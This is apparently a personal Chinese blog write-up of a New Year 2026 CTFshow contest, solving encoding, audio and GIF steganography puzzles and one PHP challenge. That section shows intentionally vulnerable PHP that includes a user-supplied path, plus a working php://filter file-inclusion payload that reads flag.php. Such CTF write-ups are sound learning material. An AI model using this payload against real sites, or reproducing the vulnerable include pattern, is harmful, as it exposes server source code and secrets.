CTFSHOW-2026元旦跨年欢乐赛

新年快乐!期末复习间偷闲做了一两道

Published
Reading
1 min
Category
CTF
Tags
writeupphpctfshow
On this page
  1. 热身签到
  2. HappySong
  3. Happy2026
  4. happyEmoji

复现环境:https://ctf.show/competitions/cs2026_replay

热身签到

54515552545455515456547055555566545654495548554855575370515051485150515453705555545755525456537054515551515051485150515450495568

一共128位,且每两位都在ASCII码范围,写一个脚本解码

flag = '54515552545455515456547055555566545654495548554855575370515051485150515453705555545755525456537054515551515051485150515450495568'
decode_flag = ''
for i in range(0,len(flag),2):
    temp = flag[i:i+2]
    decode_flag += chr(int(temp))
print(decode_flag)

得出来结果为:

63746673686F777B68617070795F323032365F776974685F637332303236217D

看起来像十六进制

a = bytes.fromhex(decode_flag).decode('utf-8')
print(a)

得到flag:

ctfshow{happy_2026_with_cs2026!}

HappySong

将下载的drum_bits.wav拖到Audacity看一下

image-20260109140501752

image-20260109140345836

很明显,一个0一个1

import wave
import struct


def solve_drum_frequency():
    filename = 'drum_bits.wav'

    try:
        f = wave.open(filename, 'rb')
        params = f.getparams()
        nchannels, sampwidth, framerate, nframes = params[:4]
        str_data = f.readframes(nframes)
        f.close()
    except:
        print("[-] 找不到文件或格式错误")
        return

    # 转为整数列表
    total_samples = len(str_data) // 2
    wave_data = struct.unpack("<" + "h" * total_samples, str_data)

    # 参数设置
    step = int(framerate * 0.1)  # 每个鼓点大约占用的采样数 (0.1秒)
    silence_threshold = 2000  # 噪音门限,用来定位鼓点开始的位置

    beat_stats = []  # 存储每个鼓点的特征(过零率)
    i = 0
    length = len(wave_data)

    print("[*] 正在分析波形频率特征...")

    while i < length - step:
        val = abs(wave_data[i])

        # 1. 发现鼓点开始(音量超过静音阈值)
        if val > silence_threshold:
            # 截取这一段鼓点的音频数据
            chunk = wave_data[i: i + step]

            # 2. 计算过零率 (Zero Crossing Rate) - 核心逻辑
            # 统计这一段波形穿过 0 轴的次数,次数越多说明频率越高
            zero_crossings = 0
            for k in range(len(chunk) - 1):
                # 如果相邻两个点符号相反(一个正一个负),就是穿过了一次 0
                if chunk[k] * chunk[k + 1] < 0:
                    zero_crossings += 1

            beat_stats.append(zero_crossings)

            # 跳过这段,防止重复检测
            i += step
        else:
            i += 1

    if not beat_stats:
        print("[-] 未检测到鼓点,请降低 silence_threshold")
        return

    # 3. 区分 0 和 1
    # 计算平均过零率,作为分界线
    avg_zcr = sum(beat_stats) / len(beat_stats)
    print(f"[*] 捕捉到 {len(beat_stats)} 个鼓点。平均过零率: {avg_zcr:.2f}")

    binary_str = ""
    for zcr in beat_stats:
        # 如果过零率高 -> 是右边那个密集的波形 -> 假设为 1
        if zcr > avg_zcr:
            binary_str += "1"
        # 如果过零率低 -> 是左边那个稀疏的波形 -> 假设为 0
        else:
            binary_str += "0"

    print(f"\n[+] 生成二进制串:\n{binary_str}")

    # 4. 解码函数
    def decode(b_str):
        try:
            chars = []
            for k in range(0, len(b_str), 8):
                byte = b_str[k:k + 8]
                chars.append(chr(int(byte, 2)))
            return "".join(chars)
        except:
            return "ERROR"

    # 尝试解码
    # 假设:密集的(High Freq) = 1, 稀疏的(Low Freq) = 0
    print("\n[+] 解码尝试 (密集=1, 稀疏=0):")
    res1 = decode(binary_str)
    print(res1)

    # 假设:密集的(High Freq) = 0, 稀疏的(Low Freq) = 1
    print("\n[+] 解码尝试 (密集=0, 稀疏=1):")
    inverted_str = "".join(['0' if x == '1' else '1' for x in binary_str])
    res2 = decode(inverted_str)
    print(res2)


if __name__ == '__main__':
    solve_drum_frequency()

Happy2026

题目:

 <?php
error_reporting(0);
highlight_file(__FILE__);


$happy = $_GET['happy'];
$new = $_GET['new'];
$year = $_GET['year'];

if($year==2026 && $year!==2026 && is_numeric($year)){
    include $happy[$new[$year]];
}

考的是php的弱类型和数组嵌套

payload:

?year=2026&new[2026]=a&happy[a]=php://filter/read=convert.base64-encode/resource=flag.php

得到结果:

PD9waHAgJGZsYWc9J2N0ZnNob3d7NzMwMDI4YzktN2YzNi00YmQ4LTliNGItYWYxYTJiNzU5MGQ1fSc7Cg==

解码一下

ctfshow{730028c9-7f36-4bd8-9b4b-af1a2b7590d5}

happyEmoji

先看一下描述

这天小狐狸和一个很好看的姑娘成了好朋友,他很开心。于是他用她发给他的表情写了一段话,分享给更多的朋友,现在大家都开心了。 1. 每一串是一个字母 2. 有眼睛就能做

这道题误以为是简单的看0和1了,最后没做出来。

我的错误思路:

导到ps看一下,PixPin_2026-01-04_02-43-29

一共有四个部分,然后每个部分截取两帧出来,然后叠加相消得到,四张这样的图片,然后写代码读取。

flag1

最后没做出来

看了一下官方的wp,发现跟转速还有关。

贴个官方脚本

import PIL.Image as Image , numpy as np ,libnum,base64
gif = Image.open('./flag.gif')
dh,dw ,dfh,binstr = gif.height//6,gif.width//30 ,42,''
for p in range(4): #一共四页
    gif.seek(p*31+1) #31张一轮
    gif_np=np.array(gif)[:,:,0]
    for r in range(6):#6行
        for c in range(30): #30列
            for f in range(4):   # 每串4个球
                face =(255-gif_np[r*dh+f*dfh :r*dh+f*dfh+dfh,c*dw:c*dw+dw]).sum()/1000
                if face >=33: binstr+='00'
                elif face >=30 : binstr+='01' 
                elif face >=26 :binstr+='10' 
                else: binstr+='11' 
print(base64.b64decode(libnum.b2s(binstr).decode()).decode())

CTFSHOW-2026元旦跨年欢乐赛

https://blog.yu030x.top/blog/cs2026
Author
YU030X
Published

Images are sourced from the internet. Please contact me for removal if necessary.

Comments

Type to search posts and pages.

K to open · esc to closeSearch by Pagefind